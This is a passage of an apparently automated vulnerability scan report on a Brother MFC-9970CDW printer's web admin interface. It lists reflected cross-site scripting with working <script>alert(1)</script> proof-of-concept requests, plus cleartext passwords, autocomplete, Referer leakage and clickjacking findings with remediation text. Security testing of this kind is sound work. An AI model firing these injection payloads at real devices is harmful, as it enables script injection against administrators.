GET /fax/general_setup.html?kind=item&52687"><script>alert(1)</script>1cd27a6f8a5=1 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 18596
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; char
...[SNIP]...
<FORM ACTION="/fax/general_setup.html?kind=item&52687"><script>alert(1)</script>1cd27a6f8a5=1" METHOD="post" NAME="Form"


onSubmit="ClockSet();return Chksleep('210');"


>
...[SNIP]...

1.15. http://192.168.1.117/fax/general_setup.html [name of an arbitrarily supplied URL parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/general_setup.html

Issue detail

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c70c1"><script>alert(1)</script>20a931d06bc3cebb1 was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /fax/general_setup.html?kind=item&c70c1"><script>alert(1)</script>20a931d06bc3cebb1=1&StationFax=8887754225&StationTel=8887754225&StationName=HOYT+LLC&DateTime=201303091307&Month=+3&Day=+9&Year=2013&Hour=13&Minute=07&TimeZone=-690&AutoDaylight=1&MPTrayPaperType=0&Tray1PaperType=0&MPCassettePaperSize=0&Cassette1PaperSize=0&CopyTrayUse=2&FaxTrayUse=2&PrintTrayUse=2&SpeakerVolume=1&RingVolume=1&BeeperVolume=1&TonerSave=1&SleepTime=3&DialTone=1&DialPrefix=1&DialPrefixNumber=9 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/fax/general_setup.html?kind=item

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 18993
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; char
...[SNIP]...
<FORM ACTION="/fax/general_setup.html?kind=item&c70c1"><script>alert(1)</script>20a931d06bc3cebb1=1&StationFax=8887754225&StationTel=8887754225&StationName=HOYT+LLC&DateTime=201303091307&Month=+3&Day=+9&Year=2013&Hour=13&Minute=07&TimeZone=-690&AutoDaylight=1&MPTrayPaperType=0&Tray1PaperType=0&MPC
...[SNIP]...

2. Cleartext submission of password

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26252
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<TD>
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1&=&" METHOD="post" NAME="Form" onreset="SetInitItem();"
onSubmit="return checkItem('1');">

<TABLE CLASS="TagFocus" BORDER=0 CELLPADDING=24 CELLSPACING=0 WIDTH="100%">
...[SNIP]...
<TD CLASS="elem">

<INPUT TYPE=password SIZE=20 MAXLENGTH=33 NAME=Scan2FtpPasswordNW1 VALUE="">


</TD>
...[SNIP]...
<TD CLASS="elem">

<INPUT TYPE=password SIZE=20 MAXLENGTH=33 NAME=Scan2FtpRetypePasswordNW1 VALUE="">


</TD>
...[SNIP]...

3. Password field with autocomplete enabled
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. http://192.168.1.117/admin/profile_settings_net.html

Summary

Severity:   Low
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26252
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<TD>
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1&=&" METHOD="post" NAME="Form" onreset="SetInitItem();"
onSubmit="return checkItem('1');">

<TABLE CLASS="TagFocus" BORDER=0 CELLPADDING=24 CELLSPACING=0 WIDTH="100%">
...[SNIP]...
<TD CLASS="elem">

<INPUT TYPE=password SIZE=20 MAXLENGTH=33 NAME=Scan2FtpPasswordNW1 VALUE="">


</TD>
...[SNIP]...
<TD CLASS="elem">

<INPUT TYPE=password SIZE=20 MAXLENGTH=33 NAME=Scan2FtpRetypePasswordNW1 VALUE="">


</TD>
...[SNIP]...

3.2. http://192.168.1.117/admin/profile_settings_net.html

Summary

Severity:   Low
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=scantoftpnet&val=index

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26249
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<TD>
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1" METHOD="post" NAME="Form" onreset="SetInitItem();"
onSubmit="return checkItem('1');">

<TABLE CLASS="TagFocus" BORDER=0 CELLPADDING=24 CELLSPACING=0 WIDTH="100%">
...[SNIP]...
<TD CLASS="elem">

<INPUT TYPE=password SIZE=20 MAXLENGTH=33 NAME=Scan2FtpPasswordNW1 VALUE="">


</TD>
...[SNIP]...
<TD CLASS="elem">

<INPUT TYPE=password SIZE=20 MAXLENGTH=33 NAME=Scan2FtpRetypePasswordNW1 VALUE="">


</TD>
...[SNIP]...

4. Cross-domain Referer leakage
There are 8 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://192.168.1.117/admin/admin_main.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /admin/admin_main.html?id=signedpdf HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=websettings

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 9060
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.2. http://192.168.1.117/admin/profile_settings_net.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26252
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.3. http://192.168.1.117/etc/mnt_info.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /etc/mnt_info.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /etc/mnt_info.html?kind=item HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/main/main.html?aaaa=11111111&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 15916
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset=
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.4. http://192.168.1.117/fax/copy_settings.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/copy_settings.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /fax/copy_settings.html?kind=item HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/fax/general_setup.html?kind=item
Cache-Control: max-age=0

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7813
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.5. http://192.168.1.117/fax/general_setup.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/general_setup.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /fax/general_setup.html?kind=item HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 18550
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; char
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.6. http://192.168.1.117/list/lists_reports.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /list/lists_reports.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /list/lists_reports.html?aaaa=11111111&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7503
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset=
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.7. http://192.168.1.117/main/main.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /main/main.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /main/main.html?aaaa=11111111&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 9976
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN" "http://www.w3.org/TR/REC-html40/frameset.dtd"><HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<H
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

4.8. http://192.168.1.117/user/printermain.html

Summary

Severity:   Information
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /user/printermain.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /user/printermain.html?id=autoregist HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/user/printermain.html?id=manualregist

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7821
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<BR>


<A HREF="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=mfc275&LNG=en&SRC=DEVICE">
<IMG src="/pbio/model_s.gif" height=45 width=144 alt="BROTHER" border=0 >
...[SNIP]...

5. Frameable response (potential Clickjacking)
There are 12 instances of this issue:

Issue description

It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.

Note that this issue is being reported because the application's response does not set a suitable X-Frame-Options header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.

Issue remediation

You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.

To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself.



5.1. http://192.168.1.117/admin/admin_main.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Request

GET /admin/admin_main.html?id=signedpdf HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=websettings

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 9060
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...

5.2. http://192.168.1.117/admin/administrator_settings.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /admin/administrator_settings.html

Request

GET /admin/administrator_settings.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/pbio/find.html

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 6848
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset=
...[SNIP]...

5.3. http://192.168.1.117/admin/profile_settings_net.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&=& HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26252
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...

5.4. http://192.168.1.117/etc/mnt_info.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /etc/mnt_info.html

Request

GET /etc/mnt_info.html?kind=item HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/main/main.html?aaaa=11111111&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 15916
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset=
...[SNIP]...

5.5. http://192.168.1.117/fax/copy_settings.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /fax/copy_settings.html

Request

GET /fax/copy_settings.html?kind=item HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/fax/general_setup.html?kind=item
Cache-Control: max-age=0

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7813
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...

5.6. http://192.168.1.117/fax/general_setup.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /fax/general_setup.html

Request

GET /fax/general_setup.html?kind=item HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 18550
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; char
...[SNIP]...

5.7. http://192.168.1.117/list/lists_reports.html

Summary

Severity:   Information
Confidence:   Firm
Host:   http://192.168.1.117
Path:   /list/lists_reports.html

Request

GET /list/lists_reports.html HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
